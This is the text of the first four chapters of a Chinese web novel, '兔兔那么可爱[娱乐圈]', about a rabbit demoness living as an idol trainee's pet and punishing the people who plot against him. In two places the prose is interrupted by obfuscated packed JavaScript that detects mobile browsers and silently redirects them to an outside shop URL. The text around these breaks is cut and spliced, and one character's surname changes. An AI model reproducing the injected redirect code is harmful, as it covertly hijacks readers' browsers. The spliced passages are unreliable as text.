《兔兔那么可爱[娱乐圈]》 1. 第一章 春日的阳光从落地窗斜斜地照进来,暖融融地铺在汐桐身上,像被人轻轻裹了一层薄毯。 她趴在飘窗上睡着了,呼吸又轻又匀,睫毛微微颤着,不知道正梦到什么好事。 “怎么在这儿睡着了?” 男人的声音低低沉沉的,带着刚醒似的慵懒笑意,像一阵温柔的风从耳边擦过去。 下一秒,汐桐只觉腰际一轻,整个人被稳稳地捞了起来,随即撞进一具滚烫的胸膛里,被人紧紧圈住。 正梦到美事呢,被人一把拽了出来。 汐桐瞬间炸毛,怒火蹭地窜上来,像生气的小崽子那样,扑向那个搅她好梦的罪魁祸手,狠狠咬上一口。 “噗——你这小东西还有起床气呢?” 男人笑出了声,掌心不轻不重地揉了揉她的脑袋,指腹顺着她柔软的毛发慢慢梳了两下,“我去给你做早饭,不气了,嗯?” 汐桐“哼”了两声,悻悻松开牙关。男人手上连个牙印都没留下,她不过是装装样子吓唬他罢了。 要不是现在妖力尽失,吃了他都怕爆体而亡,眼前这个凡人早就成了她妖丹的一部分。 她也不会为了靠他的气息温养恢复,屈辱地被凡人当宠物养。 容彦动作很轻,把汐桐放进窝里,窝底铺得软乎乎的,她陷进去刚刚好。窝顶悬着一个小铃铛,时不时“叮叮”响两声,声音细细脆脆的。 那铃铛是他亲手做的,说不上多值钱,可汐桐一眼就认出,和她千年前床榻上挂着的那只,一模一样。 每次听见这声音,她心里那股躁意就慢慢平下来,莫名地安宁,好像一下子被拽回了从前的日子,那时候天大地大,她还无忧无虑的。 她慵懒地躺在窝里,眨巴着那双湿漉漉的大眼睛,盯着厨房里忙碌的容彦。 他轮廓分明,俊朗得不像话,偏偏生了一双多情的桃花眼,眸光流转间像是盛了一汪春水。右眼角那颗泪痣,不偏不倚地点在那里,平白添了几分说不清道不明的撩人意味。 汐桐盯着那张脸看了三秒,理直气壮地在心里想:“要不是你长得好看,本妖早把你吃了。” 没错,她汐桐,资深颜控,此刻正高高昂起她傲娇的兔脑袋,眼睛亮晶晶的,肆无忌惮地继续欣赏这个凡人。 她才不承认呢。 什么妖力尽失、怕吃了爆体而亡、只能靠他的气息温养恢复。 那都是借口。 真的。 “吃饭了,乐乐。” 容彦端着碗走过来,碗底印着一只憨态可掬的小兔子,连碗都是兔子图案的。 乐乐,是他给汐桐取的名字。说希望她每天都快快乐乐,无忧无虑。 汐桐当时就“咕咕”叫着极力反对,可惜人妖语言不通,她那通抗议落在容彦耳朵里,反倒被误会成“喜欢”。于是名字就这么定了下来。 她迈着小碎步,一蹦一颠地跳过去,探头往碗里一看—— 新鲜的胡萝卜条,嫩绿的青菜叶,水灵灵的,摆得还挺好看。 汐桐眼前一黑,牙根不自觉地咬紧了。 又是这些。 这个凡人真的把她当宠物兔养了!她可是高贵的妖族,也是要吃肉的好吧! 自从被容彦带回来,她已经连着吃了一个多月的胡萝卜拌青菜。就算再喜欢,也该腻了啊…… “怎么了,不喜欢吗?” 汐桐蔫头耷脑的样子实在太明显,容彦想不发现都难。他微微皱眉,语气却还是温温柔柔的,“这可不行,不吃东西,身体怎么会好呢?” 说着,他一把将汐桐捞起来,往怀里轻轻掂了掂,忽然笑了:“不过你身体应该恢复的不错,比一个月前重了不少。” “咕咕!” 被人说重了,小兔子汐桐气得腮帮子鼓成两个小包,整张脸都圆了一圈。 她张嘴不停地和他“说道”,嘴里突然被塞进一根胡萝卜条。 “别急嘛。” 容彦的嘴角压都压不住,笑出了声,一边轻轻揉着她的脑袋。 汐桐一抬头,正好撞上他那张含笑的脸。 桃花眼微弯,泪痣在眼角微微一动。 她当场看呆了。 再加上被摸得舒服得不行,整个人软绵绵地趴进他怀里,“呜呜”两声,彻底没了脾气。 算了算了,看在你长得好看的份上,本妖大人大量,不跟你计较。 汐桐心里“大发慈悲”地原谅了他,心安理得地张嘴,等着下一口投喂。 “嗡嗡——” 手机在桌上震了起来。 容彦轻轻把汐桐放回窝里,顺手揉了揉她毛茸茸的小脑袋,语气温柔得像在哄小孩:“你先自己吃,我去接个电话,等会儿回来陪你。” 汐桐乖乖地没闹,安安静静地嚼着胡萝卜,看起来要多乖巧有多乖巧。 当然,前提是忽略她那两只竖得老高的耳朵。 汐桐在心里“义正言辞”地声明:我没有偷听!兔子的耳朵本来就是这样的,我能怎么办? 容彦完全没有注意到她这些小动作。 或者说,在他眼里,小兔子能有什么坏心眼呢? 他接起电话,声音压得很低:“喂,江哥……” 汐桐竖着耳朵,一边嚼胡萝卜一边听。 电话那头不知道说了什么,容彦的表情一点点沉了下去,眉宇间的笑意像被人抽走了一样,很快,那张好看的脸上再也找不到一丝笑容。 汐桐把这一切看在眼里。 她知道他最近在参加一档大热的男团选秀节目《RisingStar》。108个练习生里争8个出道位,容彦从二公后就稳稳坐在C位上,人气一骑绝尘。 今天不是公布出道名单的日子吗? 怎么脸色那么难看? 汐桐微微抖了抖耳朵,心里有点得意:她这对大耳朵,可不只是长得好看,还是千里耳呢。 电话那头的声音断断续续传过来,汐桐听得一清二楚。 “……江哥这也是小道消息,最后还是上头说了算。你好啊先准备今天的决赛,可别出什么差错,我马上就到你家了。”是经纪人江川里的声音,语气里带着几分无奈和催促。 “江哥,我……好的。” 容彦放弃了争辩。他垂下眼,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588892|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双桃花眼里原本还残存的几分光亮,一点一点暗了下去。 挂断电话后,他就那样傻傻地盯着手机屏幕,一动不动。漆黑的屏幕像一面无情的镜子,清清楚楚地映出他脸上的失落和难过。 汐桐趴在窝里,嘴里还嚼着半根胡萝卜,却忽然觉得没什么味道了。 她看着他那副样子,心里莫名有点堵。 不过只是几秒钟的工夫,容彦再抬起头时,眼中的情绪已经换了一副模样,倔强、坚定,像在无声地对自己说:我会更努力,努力的人不会被辜负的! 汐桐把胡萝卜咽下去,悄悄收回了竖起的耳朵。 她忽然有点不想偷听了。 容彦这个人,说起来也是奇怪。 出道五年,他仍然是十八线外的小演员,按理说早该被淹没了。可偏偏长了一张让人过目不忘的脸,俊朗、帅气,尤其是笑起来的时候,像太阳撞开了云层,整个世界都跟着亮堂起来。 那种感染力,怎么说呢,就像你明明在生气,看到他笑,莫名其妙也跟着弯了嘴角。 而且他还特别努力。哪怕只是一个镜头扫过的微不足道的小角色,他都会捧着剧本翻来覆去地琢磨,研究那个人物心里在想什么,为什么要这么说,怎么做才更真。 圈里合作过的导演都说,这小孩,有灵气,又肯下功夫。 照理说,以他的条件和拼劲,早该红了。 可偏偏没有。 五年时间,每次好不容易攒了点口碑、冒了个头,马上就有人跳出来泼冷水。 恶评铺天盖地,像商量好似的,一盆接一盆地往他身上浇。 但容彦就像完全不知道一样。该拍戏拍戏,该笑还是笑,永远以最灿烂的样子站在人前,好像那些冷言冷语从来不存在。 汐桐有时候趴在窝里偷偷看他,心里也忍不住嘀咕:这人到底是真的心大,还是装的呢? 今天也是。 他收拾好情绪转过身来,看见汐桐那双圆溜溜、纯真无邪的大眼睛正望着他,忽然就笑了。 那种笑,像阴天里突然漏下来的一束光。 “还是看着你开心。”他伸手轻轻点了点她的兔鼻子,声音温柔得不像话。 汐桐心跳漏了一拍,慌忙别过脸去,耳朵却不争气地竖得笔直。 他嘴角弯了弯,笑着对汐桐说:“乐乐,乖乖待在家里,我很快就回来。” 说完,容彦转身回房间,换了一件碧落蓝的卫衣。那颜色干净又安静,衬着他年轻的面庞,活脱脱就是校园文里走出来的男神本神。 他随手拿起桌上的吐司啃了两口,手机正好响了,江川里催他。容彦背上随身的小包,拉好口罩,回头丢下一句:“乐乐,我走了,拜拜。” “啪——” 门关上了。 容彦走了。 汐桐瞪大眼睛,直愣愣地盯着那扇紧闭的大门,眼珠子都不转了。 就这么走了? 她脑海里有一瞬间的空白。 然后,一股说不清道不明的小情绪从心底咕嘟咕嘟冒了上来。 可恶的凡人,你不觉得你少做了什么吗? 2. 第二章 以前容彦每次出门,都会rua一下她毛茸茸的脑袋,把她的毛弄的乱七八糟。 虽然她每次都“咕咕咕”地叫唤,表现得特别生气,恨不得扭头咬他一口。 但那是她的仪式感! 他怎么能说忘就忘? 汐桐趴在窝里,耳朵蔫蔫地垂下来,整只兔都不太高兴。 她才不是因为想被他摸呢。绝对不是。 只是……本妖的习惯而已。对,习惯。 其实她有感觉到,容彦的情绪不太对。 那种低落,隔着墙都能扎到她心里去。 要不……偷偷跟过去看看? 汐桐纠结了不到三秒就做了决定。她闭眼感应了一下容彦的位置,已经到华辰大厦了。事不宜迟,她赶紧跟了上去。 经过这一个月的温养,她的功力已经恢复了二三成。早就能化形了,只是还有些不完全,耳朵和尾巴偶尔会不受控制地冒出来。 她一直没出去,主要还是怕那帮人还在四处抓她。以现在的功力撞上他们,无异于以卵击石。 想到这里,汐桐不禁咬紧了后槽牙,小爪子攥成了拳头。 要不是那帮小人阴险暗算,区区凡人,也伤得了本妖?等本妖恢复了,定要好好收拾他们! 不过在那之前,她最需要做的就是。 好好修养,早日恢复。 至于容彦那儿嘛…… 汐桐眨了眨眼,心里的小算盘打得噼里啪啦响:有人好吃好喝地养着,还在一颗灵力充沛的大补丸旁休养生息,何乐而不为? 看吧,本妖完全没有担心他。 今天有点无聊,出去逛逛吧。 * 华辰大厦门口,一个女子凭空出现。 当然,旁人看不见她。 波浪般的及腰长发垂落肩头,衬着一张精致得像洋娃娃的小脸。红棕色的大眼睛滴溜溜地四处张望,好奇中带着几分警惕。最惹眼的还是头顶那对毛茸茸的兔耳朵,时不时微微抖动一下,为她本就出挑的容貌添了几分说不出的灵动。 好在是隐身的。 才来一个多月,汐桐还没完全搞懂这个地方的规矩,但有一件事弄得很清楚。 千年前,所有种族都不待见妖族,包括如蝼蚁般的凡人,所以妖族才很稀少。 千年过去,她看了不少电视剧,也明白妖族还是那样惹人讨厌,虽然她不知道为什么。 但是她可不想被人追着喊“妖怪”,然后满大街跑,也不想被捉妖师抓去,炼成妖丹。 “也不知道容彦在哪里。” 汐桐嘟哝了一声,迈步走进大厦。 说起来有点丢人,她是兔子,不是狗,没有狗狗那么灵敏的嗅觉。能感受到容彦的位置,全靠今早假意在他手上咬的那一口,留下了气息。 但容彦大概洗过手了。 味道变得若有若无,像一阵风就能吹散似的。她现在最多能确定他在华辰大厦里,具体在几楼、哪个房间,就完全抓瞎了。 汐桐站在大厅里,耳朵微微转了转,有点茫然。 ……早知道就不咬那么轻了。 不过没关系。 她第一次来这种地方,慢慢逛就是了。反正容彦又不会飞,只要人还在大厦里,她总能找得到。 抱着这种心态,汐桐眨着亮晶晶的大眼睛,耳朵一动一动地竖着,兴致勃勃地在华辰大厦里穿梭起来。 她像走进游乐园的小孩,这儿摸摸,那儿探探,看什么都新鲜。 有人在拍综艺,她凑过去看热闹,在场的工作人员总觉得哪里怪怪的,好像多了一个人,但又说不出来是谁。 有人在录访谈节目,她也跟着听,听到不对的地方还忍不住小声嘀咕两句,像个杠精一样在心里疯狂吐槽,差点把嘉宾问急了。 有人在拍戏,她更是凑到监视器旁边认真观摩,看到精彩处还“嗯,这段演得不错”地评价了一句。突如其来的声音把片场的人吓得够呛,导演当场喊了卡,四处找是谁在说话。 汐桐赶紧溜了。 一路逛一路玩,终于走到了练舞室所在的那一层。 她的脚步忽然慢了下来。 隐隐约约的,那种熟悉的、温润的气息就在不远处,像一盏灯在黑暗里微微发着光。 汐桐的心猛地跳了一下,耳朵向两侧舒展开。小兔子撒开腿,蹦蹦跳跳地朝那个方向跑了过去。 汐桐正开心地跑着,耳朵忽然一抖。 “……为什么还让容彦那小子上场……” 原本她是没注意周围的人,可“容彦”两个字像长了钩子似的,一下子就把她的注意力勾了过去。 她猛地刹住脚步,耳朵唰地竖了起来。 比平时还要高。 顺着声音摸过去,是安全通道。门虚掩着,一个男人站在楼梯拐角处打电话,脸上表情阴沉沉的,眉间拧成了川字纹,一看就很不爽。 汐桐悄无声息地凑过去,把耳朵贴在门缝边。 这回可不是偷听。她理直气壮地想,是“容彦”这两个字自己跑进她耳朵里的。 那双红棕色的大眼睛滴溜溜一转,她屏住呼吸,等着听接下来的话。 汐桐抖了抖耳朵,电话那头的声音便清清楚楚地传了过来。 “子轩,听江哥说,容彦那个选秀的人气,有目共睹。就算我想让你站C位,可他路人票太高了。就怕没把他拉下来,你反倒惹一身骚。”电话那头的男人语气听起来挺无奈的,像是在哄一个闹脾气的孩子。 汐桐觉得这个声音有点耳熟,好像在哪儿听过。但她没来得及细想,只是把耳朵竖得更直了。 大概是这话起了作用,那个叫“子轩”的男人没再嚷嚷,只是不甘心地反问:“难道就这么放过他?” “当然不是。”电话那头笑了一声,带着点志在必得的味道,“华辰计划让这次出道的C位演一部网剧的男主。现在,它是你的了。” 子轩哼了一声,嘴角一撇,满脸写着看不上:“不就是个网剧?有什么大不了的。” 汐桐在门后听得清清楚楚,两只耳朵都气得发抖。 这帮人,不仅抢容彦的位置,还一副施舍的嘴脸? 她咬着小虎牙,红棕色的大眼睛里扑闪着怒火。 自己都不曾察觉,那一瞬间,尾巴差点 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亏得容彦还那么敬重他,把他当长辈一样敬着,逢人就说“江哥不嫌弃我一身的黑料”。自己手头明明也不宽裕,却总惦记着给江川里买东西。 汐桐想起每天早上容彦出门前,都会对着手机认真地说一句“江哥早”;想起他接到江川里电话时,眼睛会亮一下的样子。 没想到…… 她咬住嘴唇,爪子不自觉地攥紧了。 那只握着胡萝卜都不舍得用力的小兔子,此刻指节泛白,指甲几乎要嵌进掌心里。 她替容彦觉得不值。 很、不、值。 “容彦不会察觉到吧?”子轩心里还是有点不踏实,声音里带着一丝紧张。 “放心。”江川里满不在乎地笑了一声,语气轻飘飘的,显然是干惯了这种事,轻车熟路,“容彦那家伙,一没显赫的家族给他撑腰,二没大人物给他做靠山。就算知道是你抢了,他也只能乖乖闭上嘴巴。” “哈哈哈,都听江哥的!” 子轩彻底放下心来,笑着挂了电话,大步流星地走出安全通道,脚步轻快,心情好得不得了。 门后,汐桐一动不动地蹲在那里,红棕色的眼睛里翻涌着暗潮。 她心里有点不是滋味。 那个凡人,总是认认真真地对别人好,掏心掏肺的,却不知道他对别人好,别人却在背后捅刀子。 汐桐很生气。 和容彦相处这一个多月,她嘴上嫌弃,心里早就把他当成了自己人。她这个人,不,她这只妖,最护短了。谁都不许欺负她罩着的人。 谁说他没有背景? 谁说他没有靠山? 本妖就是。 汐桐深吸一口气,小爪子慢慢攥成了拳头,眼底的怒火渐渐沉淀成一种沉甸甸的认真。 她要让那些欺负过容彦的人,一个个都付出代价。把原本属于他的东西,一件一件,全给他夺回来。 容彦。 本妖罩着。 3. 第三章 华辰大厦第十八层,“RisingStar”练习室。 动感的音乐炸裂开来,出道曲《Up-rising!》的旋律响彻整个房间。A班十个容貌出众的男人踩着节拍舞动,欢快的节奏、利落的动作,每一块肌肉都绷出恰到好处的弧度,青春的活力和扑面而来的男性荷尔蒙混在一起,杀伤力简直不要太大。 汐桐安安静静地蹲在角落里,双眼直勾勾地盯着前方。 哈喇子都快流成河了。 “嘶哈嘶哈……好帅……” 她一双红棕色的大眼睛亮得像两颗小灯泡,耳朵不自觉地往前探,整只兔恨不得贴到人家脸上去。 当然汐桐在心这里郑重声明:本妖很专一的。 其他人确实也不赖,但最深得她心的,还是容彦。 那个人跳舞的时候,连头发丝都在发光。 只是,要是没有那个人,就更好了。 汐桐的目光一沉,死死盯着那个居心叵测的身影。他衣服上的名片明晃晃地写着三个字:许子轩。 怒目圆瞪,恨不得在他身上烧出两个洞来。 汐桐忍不住打量起这个人来,许子轩和容彦的风格确实很像,都是那种正统的男神款。五官虽然不如容彦那般大气舒展,倒也自有一股俊秀之气,算得上赏心悦目。 但论气质?容彦那是独一档的存在。 骨子里透出的优雅与从容,举手投足间的松弛感,像天生的王者,不争不抢,却让人移不开眼。这些东西,许子轩拍马都赶不上。 汐桐在心里冷笑一声。 怪不得是容彦的手下败将。 汐桐愤愤地握紧双拳,眼睛瞪得溜圆,像两颗熟透的红豆,死死钉在许子轩身上。 只要他敢对容彦动什么歪心思,她立刻冲上去把这厮收拾得亲妈都认不出来。 恶狠狠地瞪完,她又把目光移回到容彦身上,眼神瞬间切换,亮得像碎了一地的星星。 幸好今天跟过来了,不然就错过如此“良辰美景”了。 一番唱跳下来,容彦的呼吸略显急促,胸膛微微起伏着,薄汗沿着下颌线滑下来,在灯光下泛着微微的光。那张俊朗的面孔上沾了点潮意,不仅不显狼狈,反而平添了几分说不清道不明的性感。 他用力拧开矿泉水瓶,手背上青筋微微隆起,肌肉的力度在那一瞬间被拉满,纯与欲在他身上撞了个满怀。 “啊啊啊——容彦这家伙怎么能这样!” 汐桐忍不住尖叫出声,整只兔都快原地起飞了,一双眼睛亮得像发现了绝世珍馐,“一举一动都太合本妖胃口了吧!” 她话音刚落,容彦手中的水瓶忽然悬停在嘴边。 他微微偏头,四处张望了一下,眼神里浮上一层浅浅的疑惑。 像是听到了什么。 汐桐猛地捂住嘴,心跳骤然加速。 他该不会……听到了吧? 汐桐连忙捂住嘴,耳根有点发烫,但那双带着淡淡红晕的棕色眼眸,依然亮晶晶地闪着光,藏都藏不住。 是她小看容彦了。 没想到这个凡人,除了铲屎和当大补丸,竟然还有这样的一面。 她舔了舔嘴唇,目光黏在他身上,怎么都移不开。 “彦哥。” 容彦转过身,眼底带着几分困惑。 他和眼前这个人,可没什么来往。准确地说,除了必要的工作接触,他和团里任何人都没有交情。自带黑料体质的他,像一块烫手山芋,人人都避之不及。 不过他也不在意。独来独往的日子,他早就习惯了。 这边,被迷得七荤八素的汐桐听到这声“彦哥”,心中警铃大作,粉红泡泡“啪啪啪”碎了一地。 她猛地回过神来,迅速环顾四周,其他团员不知道什么时候都出去了,估计是去换衣服准备上场。偌大的练习室里,现在就只剩下容彦和许子轩两个人。 汐桐的耳朵“唰”地竖了起来,浑身上下的毛都炸开了。 警报! 坏蛋要动手了! “哥,以你现在的热度,C位出道那不是板上钉钉的事嘛。”许子轩笑嘻嘻地凑过来,语气轻松得像在聊天气,“我听说啊,C位出道的还有奖励,要拍一部网剧,演男主呢。” 容彦低头收拾东西,手上的动作没停,耳朵却听着。见对方没什么恶意,便淡淡回了一句:“看公司安排。” “哦——”许子轩拖了个尾音,笑了笑,脸上看不出什么情绪。 容彦话不多,这是全团都知道的事。更何况许子轩和他本来也没多深的交情。 他今天过来,压根就不是来闲聊的,是来炫耀的。 至于容彦是什么态度?他不在乎。 角落里,汐桐竖着耳朵听完这段对话,心里的警报拉得更响了。 这人嘴上一口一个“哥”,笑得多亲热似的,肚子里全是坏水。她现在看许子轩那张笑脸,怎么看怎么假,跟戴了层面具一样。 真恶心。汐桐在心里啐了一口,眼睛死死盯着许子轩的一举一动,就等他露出狐狸尾巴。 容彦随手擦掉额头上的汗,把手帕往脖子上一搭,就准备走人。 “可惜了。”许子轩慢悠悠地补了一句,语气像在闲聊,“听说那部网剧虽然咖位不高,但人气爆棚,演好了指定能红。” 容彦心不在焉地“嗯”了一声,对这个话题已经没了兴趣。他现在只想赶紧去洗澡换衣服,以最好的状态上台。 “彦哥。” 许子轩又叫住了他。 容彦再迟钝也感觉到对方有话要说。他停下脚步,转过身,微微偏头,眼神里浮上一层疑惑。 许子轩凑近他耳边,嘴角的弧度恰到好处,声音轻得像一片羽毛, “谢谢你啊。男主,是我的了。” 容彦一愣,不可置信地看着眼前这个满脸得意的人。 话还没在脑子里转完,许子轩忽然一个踉跄,“扑通”一声,整个人结结实实地摔在了地上。 “哎哟——” 他捂着腿,疼得直哼哼,五官皱成了一团,看起来好不可怜。 “子轩!你怎么了?” 其他成员见他们迟迟没过来,担心出事,回头来找人,没想到一推门就看到这一幕。 江川里也赶了过来,见许子轩疼得蜷在地上捂住腿,什么都没问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可是……她醒来的时候,身处祭坛,四周空荡荡的,罗罗也不知去向。 是遭遇了什么不测,还是被迫逃走了? 一想到那个傻乎乎喊自己“老大”的小萝卜头,汐桐的心瞬间沉了下去,胸口像压了一块石头。 她暗暗攥紧了拳头,指节捏得咯咯作响。 总有一天,她会把那个胆大包天的人揪出来。 然后,撕成碎片。 “子轩,还能上台吗?” 江川里的声音满是关切,眼神里的心疼都快溢出来了。 汐桐在旁边看得清清楚楚,心里翻了个大白眼。 许子轩揉了揉脚踝,一张脸拧成了包子褶,咬着牙慢慢站起来,声音里带着“坚强”:“没事的,不影响上台。” 矫揉造作。 汐桐差点没忍住“yue”出来。这人不去演电影真是浪费了,奥斯卡都欠他一座小金人。 她正烦躁地甩着耳朵,忽然,脑子里“叮”的一声,像有什么东西亮了。 汐桐的眼睛猛地睁大,红棕色的瞳孔里映出两簇小火苗。一个绝妙的主意,像烟花一样在她的脑海中“砰”地炸开了。 她嘴角慢慢翘起来,露出一个意味深长的笑。 那笑容里,带着三分狡黠,三分得意,还有四分“你等着瞧”的狠劲儿。 许子轩是吧? 好戏,才刚刚开始。 4. 第四章 演播厅后台,最后剩下的十名练习生整装待发。灯光还未亮起,空气里已经弥漫着紧张的味道。只等主持人开场白结束,他们就要闪亮登场了。 不过今天,后台的气氛有些微妙。 大家默契地离容彦远了半步,甚至一步。好像他身上沾了什么不干净的东西,靠近了就会被“伤害”到似的。 容彦安静地站在角落里,低头整理袖口,脸上没什么表情。这样的待遇,他早就习惯了。 “你们快看,那个男人,好像是华辰大厦的总经理罗亦涵!” 一个成员忽然压低声音惊呼道,眼睛直直地盯着后台入口的方向。 “真的假的?还真是他!” “不会吧,他不会是来挑人的吧?听说华辰高层最近在物色新人合作……” “要真能被罗总挑中,那可就一步登天了。” “那你好好表现啊,哈哈哈。” 几个成员凑在一起小声议论,眼睛里全是按捺不住的兴奋和期待,像一群嗅到了鱼腥味的猫。 汐桐隐在角落里,顺着他们的目光望过去。 一个西装革履的男人正站在不远处,正和工作人员低声交谈着什么。面容冷峻,周身的气场和这些练习生完全不同,一看就是久居高位的人。 她微微眯起眼睛。 罗亦涵?华辰的总经理? 之前许子轩和江川里那通电话里提到的“华辰计划”,不会就跟这人有关吧? 汐桐的目光在他和许子轩之间来回扫了两圈,心里那根弦绷得更紧了。 不过没关系。今天有她在这儿,谁也别想再动容彦一根手指头。 至于这个罗亦涵嘛…… 汐桐舔了舔小虎牙,眼底划过一丝狡黠的光。 最好别来招惹她,不然,管你是什么总经理,本妖照收拾不误。 反正她那招“妙计”,正好缺个观众呢。 那边的谈话,容彦自然也听到了。 他抬眸,看向第一排那个出类拔萃的男人。 罗亦涵坐在评委席旁侧的贵宾席上,西装笔挺,气质矜贵,像一尊沉默的雕塑。他很少出现在这种场合,今天却破天荒地来了,也不知是为谁。 圈子里关于他的传闻很多。说他有一双慧眼,被他看中并带走的人,没有不火的。是无数艺人心中真正的伯乐,比任何选秀的出道位都更值钱。 容彦看了两秒,垂下眼睫,没再多看。 那样的机会,从来不属于他。 他习惯了。 舞台上,灯光骤亮。 主持人的声音透过音响传遍全场,带着一如既往的热情和煽动力—— “……下面出场的就是我们A班的练习生!” 掌声如潮水般涌起。 后台的练习生们深吸一口气,换上最完美的笑容,一个接一个地走向那道通往舞台的门。聚光灯、欢呼声、无数双期待的眼睛,走向他们梦寐以求的地方。 舞台的帷幕轰然拉开。 聚光灯如倾泻的日光,劈头盖脸地砸下来,尖叫声和欢呼声瞬间炸开,几乎要把整个场馆的屋顶掀翻。 熟悉的旋律一响,三十位练习生像被点燃的烟花,“砰”地炸出满场的光华。他们踩着节拍,唱跳俱佳,每一个动作都像在燃烧,仿佛整个世界都在随着他们的节奏疯狂摇摆。 副歌响起,舞台中央缓缓升起十道身影,A班练习生。 容彦站在C位,光芒万丈。 他们身上散发出的自信和魅力,像一场无声的轰炸,让现场的气氛瞬间沸腾到极点。粉丝的尖叫声汇成一片海洋,荧光棒挥舞成星河。 气氛推向最高潮—— “扑通——!” 一声闷响。 许子轩突然一个“平地摔”,整个人毫无征兆地栽倒在舞台上。 全场骤然一静。 所有人都被吓了一跳。 不过台上的练习生们到底是受过专业训练的,只愣了一瞬便迅速回过神,默契地变换队形,将他挡在身后。音乐继续,笑容继续,仿佛什么都没有发生。 工作人员从侧幕冲上来,七手八脚地把许子轩扶了下去,送往医务室。 灯光依旧璀璨,表演依旧热烈。 汐桐捂着嘴“咯咯”笑个不停,眼睛弯成了两道月牙。 她尾巴一翘,蹦蹦跳跳地跟过去。 这种热闹,怎么能错过? 台下,罗亦涵微微皱眉,目光在那个“平地摔”的位置停留了一瞬,似乎察觉到了什么不寻常的东西。 江川里坐在一旁,瞥见他皱起的眉头,心里猛地一沉。 不妙。 他太清楚罗亦涵的分量了。华辰大厦的总经理,娱乐圈真正手握资源的大佬。今天这尊大佛难得露面,若是许子轩给他留下了坏印象…… 江川里正盘算着怎么打个圆场,说几句“子轩今天状态不好”“年轻人还需要磨练”之类的话,把这事儿圆过去。 谁料,罗亦涵忽然站了起来。 面无表情,一言不发。 转身就走了。 江川里脸上的笑僵在嘴角,像被人按了暂停键。他张了张嘴,一个字都没来得及说出口,那道笔挺的背影已经消失在侧幕的阴影里。 他愣在原地,手心开始冒汗。 完了。 * 医务室里乱成了一锅粥。 医生举着片子,脸色凝重,声音都拔高了几分:“不行,骨折了!得赶紧送医院!” “什么?!” 许子轩眼前一黑,整个人直接软了下去,连哼都没来得及哼一声,就晕了过去。 房间里顿时更乱了,护士们手忙脚乱地抬人,江川里在旁边急得直跺脚,嘴里念叨着“完了完了”。 汐桐双手插兜,悠闲地靠在墙边,看着这兵荒马乱的一幕,嘴角都快咧到耳根了。 她眯着眼睛,笑得那叫一个嘚瑟。 让你欺负容彦。 哼! “你似乎很高兴?” 身后忽然传来一个陌生男人的声音。 汐桐的笑容瞬间僵在脸上。 不过她转念一想,不对,他肯定不是在跟我说话。本妖可是隐身的。 对自己的妖力,她还是很有信心的。 但汐桐还是忍不住转过头,好奇地打量了一眼来人。 有点眼熟。好像是刚才他们嘴里说的那个总经理,罗亦涵。 不得不说,这人长得也是极好的。皮肤白皙无瑕,眉毛笔直如剑,一双眼睛亮得像淬了光的黑曜石,仿佛能一眼把人看穿。嘴角挂着似笑非笑的弧度,气质温润尔雅,看上去像个好脾气的贵公子。 但汐桐盯着他看了两秒,脑子里只蹦出三个字,笑面虎。 这种人,笑眯眯地跟你说话,你都不知道他什么时候在背后捅你一刀。 汐桐下意识地往后缩了缩,一只耳朵往后折了起来。 心里隐隐有些发毛,她悄悄往旁边挪了两步,准备溜之大吉。 可那个人的目光,始终不偏不倚地跟着她。 她终于忍不住了,回过头,试探性地问了一句:“你……能看见我?” 罗亦涵轻轻点了点头,嘴角的弧度没变,云淡风轻得像在说“今天天气不错”。 汐桐被吓了一跳,红棕色的瞳孔里写满了不可思议。 隐身术失效了?自己没发现? 她连忙转头去找镜子,想印证一下是不是真的露出了破绽。 罗亦涵似乎看穿了她的心思,轻笑一声,语气温和得不像话:“放心,只有我能看见。” 汐桐的神经瞬间绷紧, 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汐桐愣了一下,不明白他这话是什么意思。 但她很快回过神来,不悦地甩开他的手,瞪圆了眼睛,摆出一副老大的架势:“没大没小的!我可是你威严的老大!” “是是是。”罗亦涵笑着点头,语气宠溺得像在哄小孩,“那么威严的老大,能不能给小弟透露一下,您老人家怎么在这儿?还有,为什么要对许子轩出手?” 汐桐撇了撇嘴。 提到这个她可就不困了。 她双手叉腰,竹筒倒豆子似的,把醒来之后遭遇的种种,祭坛、妖力尽失、被容彦捡回家、吃了整整一个月的胡萝卜拌青菜,全都倒了出来。当然,也没忘了重点控诉许子轩和江川里是怎么狼狈为奸、暗算容彦的。 说到最后,她义愤填膺地一挥小拳头:“本妖罩着的人,他们也敢动?不收拾他收拾谁!” 罗亦涵听完,眼底的笑意深了几分,却没有接话。 他只是轻轻摸了摸汐桐的脑袋,像很久以前那样,声音很轻,却很认真:“老大还是那个老大。” 汐桐被他摸得有点舒服,差点没忍住“呜呜”出声,但很快意识到自己在说正经事,连忙把脑袋从他手下挣脱出来,凶巴巴地说:“别打岔!你还没说你怎么变成华辰总经理了呢! 汐桐抬眼看见林亦涵那双总是含笑的眼睛里,此刻翻涌着汐桐从未见过的狠色。他整个人仿佛在那一瞬间变了,不再是温润如玉的总经理,而是一头被触了逆鳞的凶兽,周身的气场让人脊背发凉。 她瞪大了眼睛,愣在原地。 这样的罗罗……好陌生。 记忆里的小弟,是那个傻乎乎喊她“老大”、被欺负了只会红着眼眶往她身后躲的小萝卜精。什么时候,他竟然也会露出这样可怕的表情了? 汐桐心里一紧,忍不住凑近了些,关切地问:“罗罗,你怎么了?” 罗亦涵低下头,对上她那双写满担忧的红棕色眼眸,像是被什么东西拉回了现实。他深吸一口气,眼底的厉色像潮水一样缓缓退去,那张脸又恢复了汐桐熟悉的温和与宠溺。 “没什么。”他轻声说,语气柔软下来,像在哄她。 然后话锋一转。 “不过,桐桐,你闯祸了。” “啊?” 汐桐眨了眨眼,满脸的迷茫和困惑。 她不就是……小小的,真的只是小小的,教训了一下许子轩吗? 不就是让他骨折了一下下,晕了一小会儿吗? 至于用“闯祸”这么严重的词吗? 